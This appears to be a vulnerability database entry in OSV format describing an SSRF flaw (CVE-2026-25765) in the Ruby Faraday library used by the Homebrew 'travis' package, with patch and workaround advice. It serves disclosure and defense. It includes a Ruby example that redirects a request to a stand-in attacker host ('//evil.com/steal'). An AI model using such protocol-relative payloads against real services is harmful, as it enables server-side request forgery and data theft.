brew-travis-cve-2026-25765
Vulnerability from osv_homebrew
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "faraday",
"resource_purl": "pkg:gem/faraday@2.7.12",
"upstream_fixed_in": "2.14.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "travis",
"purl": "pkg:brew/travis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/faraday@2.7.12",
"name": "faraday",
"resource": "faraday",
"strategy": "registry",
"subject_version": "2.7.12"
}
]
},
"details": "### Impact\n\n Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n that override the base URL\u0027s host/authority component.\n\n This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n `post()`, `build_url()`, or other request methods, an attacker can supply a\n protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n `/`, so protocol-relative URLs bypass it entirely.\n\n **Example:**\n ```ruby\n conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n conn.get(\u0027//evil.com/steal\u0027)\n # Request is sent to https://evil.com/steal instead of api.internal.com\n ```\n\n### Patches\n\n Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n Applications should validate and sanitize any user-controlled input before passing it to\n Faraday request methods. Specifically:\n\n - Reject or strip input that starts with // followed by a non-/ character\n - Use an allowlist of permitted path prefixes\n - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n Example validation:\n ```ruby\n def safe_path(user_input)\n raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n user_input\n end\n ```",
"id": "BREW-travis-CVE-2026-25765",
"modified": "2026-08-13T17:44:53Z",
"published": "2026-08-13T17:44:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1569"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url",
"upstream": [
"GHSA-33mh-2634-fwr2",
"CVE-2026-25765"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.